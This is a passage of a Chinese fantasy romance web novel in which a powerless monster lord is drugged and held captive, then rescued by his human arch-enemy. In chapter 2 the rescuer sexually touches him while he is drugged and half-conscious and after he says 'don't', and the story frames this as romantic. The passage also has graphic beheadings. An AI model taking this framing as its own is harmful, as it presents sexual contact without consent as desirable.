《怪物之主失去力量后》
1. 死敌
晏深从来没有想过自己会被囚禁。
阴暗潮湿的巢穴内。
冰冷坚硬的锁链逶迤一地,末端牢牢桎梏住他的四肢和脖颈,将他囚困在这一方之地。
漆黑的粗粝摩擦着肌肤,留下竭力挣扎却失败后泛红的痕迹,白如霜雪的长发从肩头垂下,半遮着那双紫金色泛着暗芒的眼眸,在昏暗中不甘地反射着微光。
明明在三天之前,这些锁链对他来说不过是一戳即破的废铁,但如今,却成了无论如何都不能挣脱的枷锁。
更让他愤怒的是,无名的暗火在小腹灼烧,勾起隐秘的情欲。
如蚂蚁撕咬啃噬,泛起酥酥麻麻的瘙痒,经过三天的压抑后愈发难以遏制,如海啸般疯狂叫嚣着呼啸而来,随时都有可能将他卷进欲望的深海,吞噬殆尽。
晏深咬紧牙关,攥紧手指。
腥甜在齿间弥漫,尖锐的疼痛印刻在掌间,却依旧难以抵消如浪潮般一波波涌来的躁动。
湿热的潮汗顺着脸颊流淌而下,越过锁骨滑入内里,在纤白的肌肤上留下湿漉漉的痕迹,细长的发丝粘腻在额前,浑身几乎都要被汗液浸透。
每一次呼吸都带着滚烫的热意,从内到外,灼烧着他的内脏和皮肤,更摧毁着岌岌可危的理智。
晏深倚靠在墙壁上,想以石土的冰凉缓解几分,却只能饮鸩止渴般勾起更加强烈的渴望。
目光扫到地面上躺倒着的玻璃小瓶,回想起三天前发生的事情,他紧紧皱起眉头,低声暗骂。
“混蛋!”
赫川!
一定是赫川搞的鬼。
晏深不知道发生了什么,而一朝睡醒,他失去了全部的力量。
曾经最为忠诚的属下将他囚禁,抚摸着他平坦的小腹,扬言要他诞下强悍的子嗣。
简直可笑!
他可是怪物之主!雄性中的雄性!怎么可能屈居人下生孩子?!
又怎么可能怀得上孩子?!
赫川一定是疯了!
甚至为了达到目的,灌他喝下不明药剂。
自从那股冰凉的液体滑入喉管,他的整个人都变得不正常了。
想要被触碰,想要被抚摸。
更想让什么东西……
思绪猛然顿住。
……可恶!
赫川究竟给他喝了什么东西?
晏深低敛眉眼,沉沉呼出几口气,然后伸出手探到玻璃瓶。
动作牵动锁链,发出繁重的金属碰撞声。
紧接着是碎裂的脆响。
玻璃碎片嵌入掌心,猩红的液体流淌而出,入骨的疼痛终于唤回几分神智的清明。
也许是接连的动静引起门外看守的注意,月光下,两只怪物的轮廓向着内里探来。
它们张望着。
丑陋的、狰狞的面容挤在铁栏的缝隙间。
怪物们奉赫川的命令看守,在确认没有异常后,它们正要调转目光,却在看清牢房里的景象时,眼底翻涌起贪婪的欲色。
锁链缠绕着纤瘦的身体,湿汗早已浸透衣衫,身体的轮廓被勾勒出来,随着呼吸一起一伏,在昏暗的夜色中散发着如罂粟花蕊般致命的诱惑。
怪物们眯起眼睛,豆大的眼珠泛起绿光,落在他的身体上,带着惹人厌恶的粘腻。
晏深在深渊中生活了上百年,没有人比他更清楚这种眼神的含义。
在成为人人畏惧的怪物之主前,他曾在无数怪物的眼睛中看到过这种目光。
贪婪。
污秽。
肉.欲横流……
而那些低劣的觊觎者们,无一不被他砍断了头颅。
晏深抬起眼眸。
昏暗中,紫金色的瞳孔反射着微光,那曾经睥睨天下的强者目光自带威压,像是高天之上不可直视的神祇,让人忍不住回想起过往觊觎者的惨烈下场。
烙印在灵魂深处的震颤让怪物们瑟瑟发抖,恨不得立刻逃离。
然而片刻后,它们反应过来——
面前的人早已不是一根手指就能碾死它们的SSS级怪物至尊。
怪物们恼羞成怒:
“废物!你看什么看!”
晏深:“……”
泄愤之后是更加猖獗的打量,视线赤裸几乎凝成实质,如暗黑沼泽中潮湿粘腻的软体动物舔舐而上。
“听说今晚赫川大人会来。”怪物停顿片刻,对同伴说道,“你说,等赫川大人让他怀上子嗣后,会不会也让咱们……?”
未尽的话语淹没在怪诞邪恶的狞笑声中,每一个音节都透着不怀好意,传进耳中分外刺耳。
晏深攥紧手掌。
玻璃碎片更加深入地嵌入骨肉,然而随着时间的推移,疼痛带来的效果越来越差。
呼吸滚烫灼热。
小腹内蚂蚁啃噬的瘙痒愈发强烈。
晏深几乎已经感受不到掌心的痛意,大脑像是覆上了一层迷蒙的雾气,一切都模糊不清,到最后,只能凭着意志力强撑着神智。
朦胧间,他仿佛听到什么动静。
低沉隐秘,微不可查。
又恍若错觉。
但……
多年以来的第六感让晏深知道,有什么东西在悄然接近。
然而看守们浑然不觉。
只贪婪地凝视着他,满嘴污言秽语,不堪入耳。
夜空的密云飘过,银色的月光倾斜,怪物们投射在牢门上的轮廓移动。
几乎是瞬息之间,某种微弱的声音响起,像是骨头断裂发出的牙酸声,又像是什么划破空气的锐响。
画面仿佛静止。
下一瞬,两颗头颅一歪,坠落在地滴溜溜滚远。
就像曾经无数次,那些卑劣的觊觎者落得的下场。
赤红的鲜血延迟片刻喷溅而出,牢门的铁栏沾染上粘稠的液体,漆黑的石壁浸透上暗沉的颜色。
两双绿豆大的眼睛惊恐瞪大,扫过自己和同伴无头的身躯,然后不可置信地看向晏深的方向。
“你、你……!”
喑哑的嗓音蓄满了惊恐,看守们再也没有了刚才打量玩物的轻佻,对死亡的恐惧与懊悔让它们涕泗横流,然而不待求饶的话语说出口,锐利的破空声再度响起。
“唰——!”
头颅被贯穿。
猩红的血液喷涌而出。
瞳孔在极度恐惧中瞬间放大,然后变得灰暗。
——看守们死不瞑目。
晏深坐直身体。
紫金色的眼瞳微微眯起,凝重地盯视着昏暗的过道。
突发状况让他整个人警惕地绷紧,比起看守的怪物们,他清楚地知道不是自己出手所为。
他的力量没有恢复。
杀了它们的不是自己。
有光影晃动。
低沉的脚步声响起,越来越接近。
与此同时逼近的,还有一股强大到难以忽视的气息。
是谁?
赫川吗?
不……
不对。
即便是赫川,也绝对散发不出这样强悍的气息。
那么答案只有一个。
——“砰!”
巨大的声响震天动地,坚固的牢门在外力的作用下轰然碎裂,像是一片脆弱不堪的薄纸。
尘土飞扬,视线遮蔽。
而当尘土散去,一抹颀长高大的身形孑然独立于牢门之外。
银色的月光倾泻而下。
来人一袭黑色风衣,迎风猎猎作响,周身闪烁着墨蓝色的雷电,苍灰色的眼眸如雾霭沉沉,像是深冬枝头凝结的雾凇,透过结霜窗户看向的冬日林间。
晏深瞳孔微缩。
……他怎么会在这里?!
即便心中早有猜测,在彻底看清来人的面容后,晏深还是止不住心底的震惊。
——肖闻笛。
人类孤高的最强者,雌性争相追捧的高岭之花,伟岸圣洁的禁欲者。
更是……
他的头号死敌。
晏深:“………”
靠,贼老天你是真不让我活啊!
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如今他失去力量,又被锁链囚禁,撞上肖闻笛绝对是死路一条。
银色的剑刃上沾着血,赤红的液体流淌而下,在灰蒙蒙的地面上洇染出一滩暗色的痕迹。
肖闻笛垂眸凝视着他的方向,苍灰色的眼瞳中幽暗晦涩,缓缓踏步向他走来。
剑尖划过地面,拖延出一条赤色的痕迹。
晏深的心跟着一点点坠落。
逃过了赫川的蓄意侵占,却逃不过肖闻笛的利刃夺命么?
不过……被肖闻笛杀死,总比被赫川囚禁当做禁脔的好。
他自嘲一笑。
孑然仰起头颅。
然而预想之中的疼痛并没有到来,剑刃白光闪过,禁锢住他的锁链应声而断。
晏深怔愣原地
……什么情况?
他抬眸看向男人。
肖闻笛开口:
“我带你回家。”
晏深:“………?”
巢穴内光线昏暗,他看不清肖闻笛的神情,只依稀辨认出男人寒霜雕琢的脸上并没有敌意与杀气。
甚至……还带着几分罕见的柔和与亲近。
那是在面对怪物时,人类绝对不会露出的表情。
晏深不明所以。
他茫然眨眼。
眼角余光里,银白的剑刃上倒映着他的身影。
衣衫湿透,发丝凌乱。
纤瘦的身体靠坐在石壁边,透着弱不禁风的柔弱。
而那代表着怪物血脉的白发紫瞳不知何时已经消失不见,取而代之的是与人类别无二致的……
黑发墨瞳。
……怎么会这样?!!!
晏深震惊失语。
他连忙低敛下眼睑遮掩情绪,心如擂鼓,片刻间思绪千回百转。
虽然不知缘由,但他现在的这副模样,肖闻笛肯定没有认出来他的身份,联想刚才异常的态度,恐怕只是把他是当作被掳到怪物巢穴的无辜人类。
刚才肖闻笛说要带他回家……
不过转瞬之间,晏深已经拿定主意,他抬起头,回应道:
“……好。”
“带我回家。”
*
他们离开牢房。
一路上,晏深看到了遍地的怪物尸骸,还有赤红的鲜血蜿蜒在幽深的过道中,空气里弥漫着浓重的血腥味。
普通怪物在肖闻笛面前就像是纸糊的玩偶,没有丝毫的阻挡作用。
而这位刚刚斩杀了无数怪物的人类最强者,此刻正以公主抱的姿态紧紧拥住怪物们曾经的王。
晏深有一瞬的恍惚。
他听到深渊里其他地方传来嘈杂的打斗声,怪物的咆哮与人类的进攻声夹杂在一起。
而本应站在一线迎战的自己,却与敌人的头领紧密相贴。
晏深低敛下眼睑,神色复杂。
而比起外部的混乱,他体内的情况更是糟糕透顶。
在短暂的压制后,炙热的欲.火卷土重来,甚至比过去任何时刻都要猛烈,翻滚着滔天的火舌将他整个人卷入熔岩炼狱,灼烤出浑身淋漓的大汗。
指尖被湿热的潮汗浸透,他蜷起细白的指节,用力抓握住掌心的玻璃碎片。
碎片嵌入骨肉,几乎将掌心洞穿,而疼痛却像是隔了一层雾气,无论如何都不能抵达脑海深处。
他的整个人混沌不堪,仿佛陷入泥沼般难以自拔。
意识越来越模糊,晏深忘记了自己身在何处,只下意识抓紧身边人的衣服,难耐地仰起头颅,被欲.火烧灼成赤红的唇瓣如竭泽的鱼儿般翕动,吞吐着滚烫的热气,在对方硬挺的胸膛上磨蹭着。
他急需得到什么。
但……
是什么呢?
不知何时,死敌稳而有力的脚步声已经停下。
而晏深什么都没有注意到,只在模糊的视线里看到上方某人熟悉的轮廓……
清晰挺括的下颌线,凸起滚动的喉结,还有薄如刀削的双唇……
看起来……
很好亲。
2. 迷乱
晏深双脚着地。
在大脑反应过来之前,他已经从肖闻笛的怀中挣脱,转身将人推到了墙上。
猛然爆发的力气极大,甚至让对方来不及反抗。
他踮起脚尖,欺身而上。
直至双唇相贴。
几乎是触碰的瞬间,炽热的火焰燎原而起,一发不可收拾,却又有别于刚才的焦灼煎熬,仿佛找到了宣泄的口径,如火山爆发般喷薄而出。
酥麻的感觉从尾椎骨升腾而起,一路攀爬而上,直冲天灵盖。
晏深小声哼吟,他本能地想要得到更多,却完全不知道该怎么做,只生硬地唇瓣贴着唇瓣,像只小猫似的拱蹭厮磨。
大脑一片混沌,只残存下动物的本能,他忘记了自己所在何地,忘记了面前的究竟何人,他只知道只要和对方肌肤相贴,折磨着他的燥火就会变成涓涓细流,柔顺而舒服。
直到他的下巴被抬起,撞进如冬日雾凇般冷冽的苍灰色眼眸。
晏深一激灵。
神智霎时清醒几分。
熟悉的冷峻面孔俯视着他,肖闻笛的神情幽深而又晦暗,如山雨欲来前沉沉压下的苍茫天际。
大脑后知后觉反应过来。
坏了……
他刚才是强吻了肖闻笛吗?
那位传闻中拒所有人于千里之外,冷峻孑然的极端禁欲者。
让禁欲者破戒……
还有比这更恶劣的行为吗?
自己会被杀的吧?
晏深眼皮抖动,心脏不安地跳跃,整个人的呼吸不自觉地急促起来。
他能感受到下巴上指腹粗粝的质感,俯视着他的男人眼底一片幽暗莫测。
……透着危险的气息。
完蛋。
这是想弄死他的眼神啊。
恰在此时,过道拐角传来嘈杂的呼喊声。
“杀了人类!”
“杀!杀!杀!”
——是前去支援的怪物们。
晏深暗叫不妙。
真是前有狼后有虎,就算肖闻笛大发善心放过了他,可一旦一怒之下丢下他不管,他也会被怪物们抓回去。
以他现在的状况,都不用等到赫川出手,就会沦为所有怪物的玩物。
——他绝对不能允许那种事情发生。
晏深大脑极速运转,然而电光火石之间,他的手腕骤然被攥住,在他反应过来之前,整个人已经被带着侧身闪进一旁的巢穴里。
造型原始的木门被关闭,他被半拥着靠在石墙上。
晏深愕然抬头。
巢穴内,肖闻笛与他紧紧相贴,但光线昏暗,他看不清肖闻笛是何表情。
几乎是二人站定的下一秒,怪物们出现在过道里,杀气腾腾地从他们藏身的巢穴外经过。
火把闪烁着光亮,透过门缝映照在肖闻笛的脸上。
那张生人勿近的冷峻面容上,竟……意外的平静而和缓。
居然没有生气么?
晏深心下惊讶,同时不免松了一口气。
看来这位极端的禁欲者,并没有传闻中那般冷酷不近人情。
只是……
刚才的眼神是怎么回事?
晏深细细打量,可无论如何,他都没有再在肖闻笛的脸上找到刚才那股幽暗危险的气息。
……是错觉么?
当下的境况并没有给他太多思考的时间,突发状况带来的冲击过后,那股熟悉的燥热再度袭来。
晏深的脑袋又开始迷糊。
刚刚被抚慰过的燥热本能地让他贴近舒服的源头,他抓握住什么,贴近脸颊。
有些硬。
但……一点儿也不想放开。
*
巢穴内光线昏暗。
过道里闯入的怪物们已经离去,只剩下浅淡的月光透过门棱的缝隙铺洒进来。
二人的位置发生了变化。
原本在过道里强势按压着对方的人,转而被半拥在怀中,倚靠在漆黑的石壁上。
情潮卷土重来,白皙的脸颊仰起,黝黑的瞳仁涣散而迷离。
肖闻笛垂眸俯视着怀中的人,任由手掌被抓握着抬起,指腹被拉着贴上脸颊,传来温润细腻的触感。
苍灰色的眼眸中暗流涌动。
怀中的人浑身发热,脸颊泛红,唇瓣更是被灼烧成糜丽的艳色,沾染着不知是自己还是他人的涎液,亮晶晶泛着光,像是多汁可口的蜜桃,惹人采撷。
那双黝黑的墨瞳迷蒙半张着,眼瞳中一片朦胧的水雾。
肖闻笛在其中看到了自己的倒影。
眸光暗沉。
更……欲念横生。
……
在破门而入的那一刻,肖闻笛一眼就认出了晏深的身份。
纵然头发和瞳孔的颜色与记忆中截然不同,但他绝对不会认错。
那位睥睨天下的怪物之主,传闻中的SSS级怪物,战斗力+∞的人类公敌。
他命定的死敌,一生要剿杀的目标。
更是……
无数个夜晚反复出现在梦中的人。
在那一个又一个的旖旎幻梦里,与现实中的兵刃相向截然不同,高高在上的怪物之主收敛了萦绕周身的黑雾,露出白皙莹润的肌肤,整个人软着身子横躺在松软的大床上,向着他伸出手,仰起纤长的脖颈。
无声诉说着:
“抱紧我。”
“亲吻我。”
以及……
“占有我。”
……就像现在这样。
苍灰色的眼眸微敛,呼吸不可控制地变得粗重,肖闻笛静静地看着晏深磨蹭着他的掌心。
红润的双唇难耐地张合,吞吐出滚烫的气息,落在他的指尖挑战着岌岌可危的自制力。
晦暗染上眸间,将瞳仁晕染成不透光的介质。
肖闻笛微动。
粗粝的拇指下移。
覆上那片柔软香甜的唇。
他摩挲碾磨,将唇纹细细抚平,指腹沾染上透明的涎液,再均匀地涂抹在唇瓣。
像是春日里绽开的花蕊,荼靡瑰丽。
似是不满足于表面的接触,晏深小声哼哼,然后低头主动含住了唇畔作乱的手指。
指尖被舌腔包裹,柔软滚烫的触感霎时透过肌肤传到脑海。
像是被闪电击中。
肖闻笛猛然僵住身体。
幽暗的巢穴里只剩下他们二人,安静隐蔽,无人打扰,梦中魂牵梦萦的场景随时都可以复现。
肖闻笛沉眸静默片刻。
而后缓缓开口,嗓音低沉,透着晦涩的喑哑。
“看着我。”
“唔………?”
晏深茫然张望,目光难以聚焦。
肖闻笛只得捏起他的下巴,迫使他抬头直视着自己的眼睛。
他一字一顿:
“告诉我,我是谁?”
晏深歪了下脑瓜,褪去纯白变成墨色的长发向一侧倾斜,但更多的早已被潮湿的热汗粘黏在额头、脸颊以及脖颈。
在黑发的间隙,如玉般的白皙泛着亮晶晶的湿漉,一如梦中他亲手弄成的模样。
肖闻笛喉结滚动,身体深处在疯狂叫嚣,但他仍耐心等待着。
也许是不甘沉沦欲海的意志力终于占得了上风,晏深短暂地恢
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复了神智,他睁着黝黑的瞳孔,烧灼成赤红的唇瓣翕动。
“……你是……肖闻笛。”
虽然比预期花费了更多的时间,肖闻笛仍满意地向他贴近,继续询问:“你想要我做什么?”
“………”晏深茫然眨眼,他不知道,无助地看着男人。
小巧的下巴被抬高捏在掌心,有热汗从额角流下,将粗粝的手掌打湿,沾染上咸腻的潮热。
肖闻笛用指腹摩挲着,触手湿滑,但他并不反感,反而想要压榨出更多,于是垂首凑过去,循循善诱:“需要我帮你吗?”
“……帮我?”
意识清醒的间隙,晏深恍然记起,赫川在灌他喝下药剂时,曾说过那是人类研制的药物。
或许身为人类的肖闻笛知晓怎样解除药性。
晏深点点头。
脑袋不甚清明的人丝毫没有注意到,曾经的死敌正以不同寻常的亲昵姿态贴近着他,二人的鼻息混合交缠,旖旎出暧昧的气息。
那双凝视着他的苍灰色眼眸随着他的应允而浮起难以言说的幽暗,像是打开了封闭的牢笼,压抑的野兽探出了头颅。
那股危险的气息再度出现。
只可惜此时晏深已然无力察觉。
衣料摩挲发出细碎的轻响,混沌之间,晏深过了很久才察觉出异样,他低下头,发现那只捏着自己下巴的宽厚手掌不知何时已经下移,探入内里。
“……?”
像是拨开了迷雾,晏深短暂清醒。
不对……
等、等等……!
他伸出手去阻止,但此刻的他早已手脚无力,在触碰到对方之前,一股猛烈的快感率先侵袭了大脑,他只来得及发出一声短促的惊呼,整个人已经酸软着腰身倾倒在对方的怀中。
……发生了什么?
晏深大口喘息着,他不可置信地瞪大眼睛,而不待理清发生了什么,更加强烈到难以忽视的感觉顷刻间淹没了他。
他浑身颤抖,纤白的指节用力攥紧对方的臂膀,像是无助的浮木,抓住了唯一的倚靠。
喉管间溢出哼吟。
晏深瞳孔震颤,难以相信自己会发出这种声音,他用牙齿咬住唇肉,在红艳的下唇上印下泛白的痕迹。
双腿发软,身体不受控制地向下滑,有温热的大掌覆上后腰,扼住了下滑的趋势。
他被半拥着调转方向,下一秒,整个人已经靠坐在肖闻笛的怀中。
也正是因为姿势的改变,晏深彻底看清发生了什么。
晏深能感觉到肖闻笛紧贴着他的后背,宽阔的胸膛如钢铁般坚硬,毫不费力地将他圈在怀中,又透着隐隐的炽热,将他包裹在内。
放在自己身侧的手臂遒劲有力,隐隐可见其上的肌肉凸起。
肤色的差异落在视网膜上形成强烈的视觉冲击,晏深的耳尖红得充血,在一片混乱中,他终于艰难地伸出手,阻止道:“别……”
“我在帮你。”
低沉的语调覆在耳畔,温热的呼吸喷洒在耳后,带来酥酥痒痒的触感。
晏深羞愤难当,然而全身的骨头仿佛都被抽走,他浑身脱力,无助地靠坐在肖闻笛的怀中。
手指蜷缩抓紧,在黑色风衣上徒劳地印下潮湿的褶皱。
黑暗中,只剩下他们二人的呼吸声,近在咫尺,混合交缠,不分你我。
不知过了多久,晏深难耐地仰起脑袋,纤长白皙的脖颈在空气中绷紧,微微发颤。
他望着上方巢穴漆黑的穹顶,难以遏制的困倦席卷而来。
在意识彻底陷入黑暗的前一刻,眼角余光里,那只修长匀称的手指间,溅染着湿滑。
3. 带走
晏深是在颠簸中醒来的。
装甲卡车在凹凸不平的路面上行驶着,他躺在车斗里,头顶是即将迎来破晓的黛青色天际。
晨风吹拂在脸上带着些微的凉意,但身上却是暖洋洋的,他坐起身,有什么东西从肩头滑落。
那是一件宽大的黑色风衣,样式有些眼熟,好像在哪见过。
他眨眨眼。
记忆涌回脑海。
“——!”
晏深像是被烫了下,一把掀开风衣。
衣服完整。
之前被解开的腰带已经被重新系好,身体上也没有其他的异样。
但残存的触感仿佛仍附着在肌肤之上,蚀骨的酥麻在心间流窜。
晏深闭目深吸一口气。
素白的指尖攥紧,微微发颤。
早知道疏解的方法是那样,他就算是难受死,也绝不会开口向肖闻笛寻求帮助。
真是……
太羞耻了!
不过万幸的是,折磨了他整整三天的情潮欲.火终于偃旗息鼓,消失不见。
除了力量仍然没有恢复,他总算拿回了自己身体的支配权。
重新着眼于现状,晏深发现肖闻笛并不在车里,他正要站起身,车身猛然震颤,他连忙扶住车沿稳住身形。
“砰!”
与此同时,剧烈的撞击声响起,黄色的保护屏障亮起又消失,碎裂的冰屑散落在半空,然后被全速行驶的装甲卡车甩在后面。
有人从车顶跳下,挡在他的面前,急促说道:“别乱动,站到我身后。”
来人短发寸头,身着和肖闻笛同款的黑色战斗服,双手抬起,黄色的保护屏障再度升起,将下一秒飞击而来的尖锐冰棱抵御在外。
确认安全后,青年回首看向他:“没事吧?”
晏深点头。
青年明显松了一口气,摸着后脑勺解释:“太好了,老大把你交给我,要是你有什么闪失,我可交代不了。哦,对了,我叫周图,是攻掠处精英小队的成员。”
老大?攻掠处?
晏深不太清楚人类的组织,但看样子是肖闻笛把他交给了面前的青年。
远处传来轰鸣,晏深抬眸望去。
那里是深渊的方向,也是刚才冰棱袭来的方向。
在他昏睡的时间里,装甲卡车已经带着他驶离曾经的居所,现在只能遥遥望到那片天堑般凹陷的暗色巢穴。
而在深渊与车队的中间,巨大的怪物形体张牙舞爪,通体反射着赤红的光芒,漫天的触手像是彩带般在空中挥舞,每一下都带着足以毁天灭地的恐怖力量。
无数的冰棱飞射而出,激起尘土飞扬,在平原上漫延出一片灰蒙蒙的区域。
晏深眯起眼睛。
——是赫川。
几乎是晏深看到赫川的瞬间,赫川也看到了他。或者说,赫川从始至终,都在遥遥地注视着他。
“吼——!”
庞大的怪物身躯挪动,极速向他逼近,一时之间,飞沙走石,狂风骤起。
周图脸色骤变:“卧槽!它怎么突然过来了???!”
他连忙加大土系异能的释放,让保护屏障变得更加坚固,但仅凭这点强度,只能抵御零星袭来的冰棱,根本扛不下赫川的全力一击。
作为深渊里实力仅次于晏深的怪物,赫川的强大毋庸置疑,他曾凭一己之力覆灭整座城池,人类之中几乎没有人是他的对手,除了——
锐利的光弧划破天空,暗色的身影伴随着苍蓝色的电光追击而至。
半空之上,肖闻笛凌空而立。
周图兴奋大喊:“老大来了!我们安全了!”
紧身战斗服包裹下的手臂抬起,肌肉遒劲,下一秒,苍蓝色的雷电如密雨般迅疾落下,怪物本体的防御在强势的攻击下很快被击穿,利刃紧随而至,猩红的鲜血溅射漫天,伴随着怪物震耳欲聋的哀嚎响彻天际。
越来越多的攻击落在赫川的身上,片刻后,庞大的身躯轰然倒塌。
“干得漂亮!”周图热烈喝彩。
晏深冷眼看着。
这场战斗可以说是单方面压倒式的局势,赫川并不是肖闻笛的对手,而当初整个深渊里,只有自己能够与之相抗。
曾经他挡在赫川面前,挡在整个怪物族群面前,为他们挡下的所有攻击,此刻都一个不落地降在赫川的本体之上。
像是惩罚的戒鞭,将触手烧灼出焦黑的痕迹,剑刃砍过,鲜血飙飞,再烙印下新的焦痕……如此反复,直至再无一片完好的肌肤。
一时之间,空气中尽是血液的腥臭和皮肉焦糊的味道。
怪物嘶鸣,惨绝人寰。
只是晏深不明白,明明自己是怪物族群里能够抵抗肖闻笛的唯一战力,为何赫川还要设计陷害他失去全部力量?
这和带着整个深渊的怪物去死有什么区别?
晏深心绪复杂,但又有什么压抑许久的郁躁随着那一声声怪物的哀嚎宣泄而出。
他不禁将目光转向高空之上的男人。
璀璨电光间,肖闻笛的侧脸挺括,面色寒如冰霜,苍灰色的眼底一片幽深晦暗,如万米高空之上凛然不可侵犯的皑皑山巅。
冰冷依旧,却似乎有什么东西与平日里截然不同。
“咦?”周图呢喃自语,“老大今天……似乎格外凶残啊。”
晏深神色微动。
确实……
虽然人类与怪物交恶,互相敌对,但以往的肖闻笛,在面对怪物时下手都是快准狠,从来不会如此这般。
现在的情况……怎么看都带着几分折磨人的意味。
就晏深所知,肖闻笛和赫川之间,并无私仇……
“可能是老大心情不好吧。”周图摩挲着下巴猜测,一边说一边感慨叹息,“哎,也难怪,我们把深渊翻了个底朝天,也没找到怪物之主的踪迹,老大肯定气疯了。现在赫川追过来,可不正撞在枪口上。”
听到提及自己,晏深微微侧眸。
“你们……是来找怪物之主的?”
“是啊。三天前老大突然召集我们,火急火燎地赶来深渊,后来在路上我才知道——”周图停顿一瞬,故作神秘地压低嗓音,“——怪物之主消失了!”
三天前,正是晏深骤然失去力量的时间点。
晏深微愣:“你们怎么知道怪物之主消失了?”
“你不知道了吧,”周图洋洋得意地介绍,“监察处一直都在监察深渊里的动向,不止怪物之主,记录在册的智慧种都在监测范围内。”
怪物族群分为三种,低级种、普通种和智慧种。三种怪物呈金字塔型分布,其中智慧种的数量屈指可数,但能力卓绝智慧超群,每一个都是足以威胁人类城市的核弹级危险存在。
是以早在几十年前,人类便成立了监
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察处,用来监测各个智慧种的动向。
而晏深身为怪物之主,更是被监测的重中之重。
当他的反应在监察器上消失的瞬间,整个怪物综合应对管理局立刻拉起十二万分的警报。
作为专门应对怪物的攻掠处负责人,肖闻笛在第一时间便知晓了这一消息。
“其实一开始,局长是不让老大来的,毕竟反应都消失了,怪物之主肯定已经死了。但不知道老大说了什么,后来局长又同意了。”周图说着耸耸肩,“可能老大不相信吧,但是现在看来,怪物之主应该确实是死了。”
原来肖闻笛是来找自己的……
晏深看着半空之上的身影,心情再度发生了变化。
不愧是对战多年的死敌,不远万里也要来深渊专门确认自己的死讯。
就这么担心他没死透,赶过来趁机再多捅几刀吗?
只可惜他失去力量的同时,不知缘由的改变了发色和瞳色,而他之前现身人前时,为了避免长相带来的困扰,总是以黑雾萦绕周身,除了那头标志性的白发以及黑雾中依旧耀眼的紫金色眼眸,其他细节很难看清。
如今就算面对面,肖闻笛也没能认出他的身份,反而把他当成了被俘虏的无辜人类救了出来。
肖闻笛白跑一趟,也难怪会拿赫川撒气。
“撒气包”被揍了个血肉模糊,差点被现场制成铁板烧,不过毕竟是活了几百年的怪物,被逼急了还是有几分保命的手段。
冰晶混杂着尘土飞扬,硕大的怪物身躯顷刻间消失在旷野之上——赫川逃跑了。
肖闻笛收起长剑,几个雷光闪烁,回到了装甲卡车上。
“老大威武!”
周图立刻迎了上去。
肖闻笛轻轻颔首,然后径直越过他,踏着黑色高筒靴走到晏深的面前。
“身体好些了吗?”
苍灰色的眼眸一瞬不瞬地落在他的身上,如霜花般清冷,如寒巅般冷冽。
虽然晏深明白这不过是肖闻笛误把他当做人类后对同族再普通不过的关心,但他还是情不自禁地回想起幽暗巢穴内紧贴的肌肤,以及耳畔清晰可闻的低沉呼吸。
“………”晏深不自在地垂下眼睑,只低着头简单回答,“好多了。”
其实在醒来的时候,晏深就已经发现身上的伤口被处理过。不止四肢上被锁链摩擦出的细微红痕,就连掌心被玻璃碎片扎穿的伤口,都已经恢复如初。
显然是让专业的光系异能者治愈的。
只是不知道,倘若以后肖闻笛知晓自己不仅救下了昔日的死敌,甚至还命人为他疗伤,脸上的表情会有多精彩……
攻掠处的其他成员陆续返回,视野里那双黑色高筒靴只短暂停留片刻,便转身和下属们汇合,进行后续事项的安排。
攻掠处并未在深渊外围多做逗留,他们甩开了怪物大军的纠缠,七辆装甲卡车全速行进,向着人类的城市返回。
晏深远眺着深渊,几个小时后,漆黑的轮廓已经再也看不见,只剩下地平线上一抹晦暗的线条。
直到这一刻,晏深才恍然有了实感——
在被赫川囚禁了整整三天后,他终于重获了自由。
只是……
精英小队在隔壁车上低声交流,偶有隐蔽的目光落在他的身上。
他听到有人对肖闻笛说:
“长官,这个人很可疑。”
4. 怀疑
岳宁是攻掠处精英小队的成员。
半个小时前,她刚刚检查完车队的情况,正要返回向长官肖闻笛汇报情况,眼角余光里突然扫到一抹身影。
全速行驶的装甲卡车里,有人倚靠在栏杆上,远眺着苍茫的天际。
黎明的晨风仍带着些微的凉意,被汗渍浸染泛黄的衣衫在微风的吹拂下鼓动摇摆,及腰的黑色长发如海藻般垂落,随风而舞。
纤瘦的人仿佛与周边的世界格格不入,那双黝黑的眼瞳里流淌着莫名的色彩,悠远而不可捉摸。
岳宁记得他。
从怪物巢穴被解救的人类之一。
只是这一刻,一股莫名的感觉涌起,她皱起眉,然后改变方向,跳上了青年所在的卡车。
“你好,我叫岳宁,负责登记被解救人员的情况,请配合回答问题。”
她一边说一边抽出口袋里的便携笔记本,圆珠笔摁出笔芯,笔尖落在纸张上,边写边问:
“姓名?”
青年转头看着她,目光似乎飘向来处。
在她过来的卡车上,同样有被解救的人类,而她却略过他们,径直走向了他。
岳宁知道自己的做法并不高明,借口也比较拙劣,但不过是个由头罢了,攻掠处要调查的人,还没有人能够拒绝。
果然,青年很快收回了目光,纤长的眼睫微敛,老实回答,只不过声音比较低,她没有听清。
“布什么?重复下。”
青年的声音大了些,岳宁清晰地听到——
“不知道。”
笔尖停顿,在微黄的纸张上浸染出一团墨渍,岳宁抬起头,声调不自觉抬高反问:“不知道?”
一个人怎么可能不知道自己的名字?
然而对面语气坦诚地重复:
“不知道。”
岳宁皱眉。
对面那双黝黑的眼睛毫无躲避地直面着她的审视,不似说谎,她继续追问:
“年龄?籍贯?”
对面再答:“不知道。”
岳宁又问了其他几个问题,得到的答案全部都是“不知道”,她不禁深吸一口气,面上已有愠色:“先生,请你配合。”
晏深眨眨眼。
怎么配合?全盘托出?告诉她自己就是他们要找的怪物之主?
他只是失去了力量。
并不是疯了。
晏深也不是不想扯谎应付过去,但他生在深渊,长在深渊,从未涉足过人类世界,就算有心编造人类的身份,缺乏常识的他编造出来的答案必定是错漏百出,一眼就能被识破的。
既然如此,不如一开始就什么都不说。
完美的答案书不好写,一张白纸倒是可以信手拈来。
晏深眨着眼睛,满脸无辜:“我碰到了脑袋,失忆了。”
晨曦微光下,青年的面容姣好,及腰长发倾垂而下,衬得整个人纤瘦柔弱,雌雄莫辨,浓密的眼睫抖动,可怜兮兮的像只误入囚笼的小白兔,周身弥漫着历经磨难后肉眼可见的羸弱。
岳宁呼吸一窒。
她不得不承认,即便在她见过的所有人中,青年依旧是屈指可数的顶尖美貌。
如今被这样的眼神看着,怎么……有股欺压美人的愧疚感?
一问三不知带来的怒气顷刻间消弭大半,只是一直以来的严谨让岳宁心头的猜疑难以打消。
失忆?会有这么巧?
是借口还是事实?
岳宁尽量不去直视那太过耀眼的美貌,强硬起心肠继续追问:“那你还记得什么?”
“我记得……”
青年的目光侧向一旁,素白纤长的手指抬起,落在她身后的某处。
“——他。”
岳宁回首。
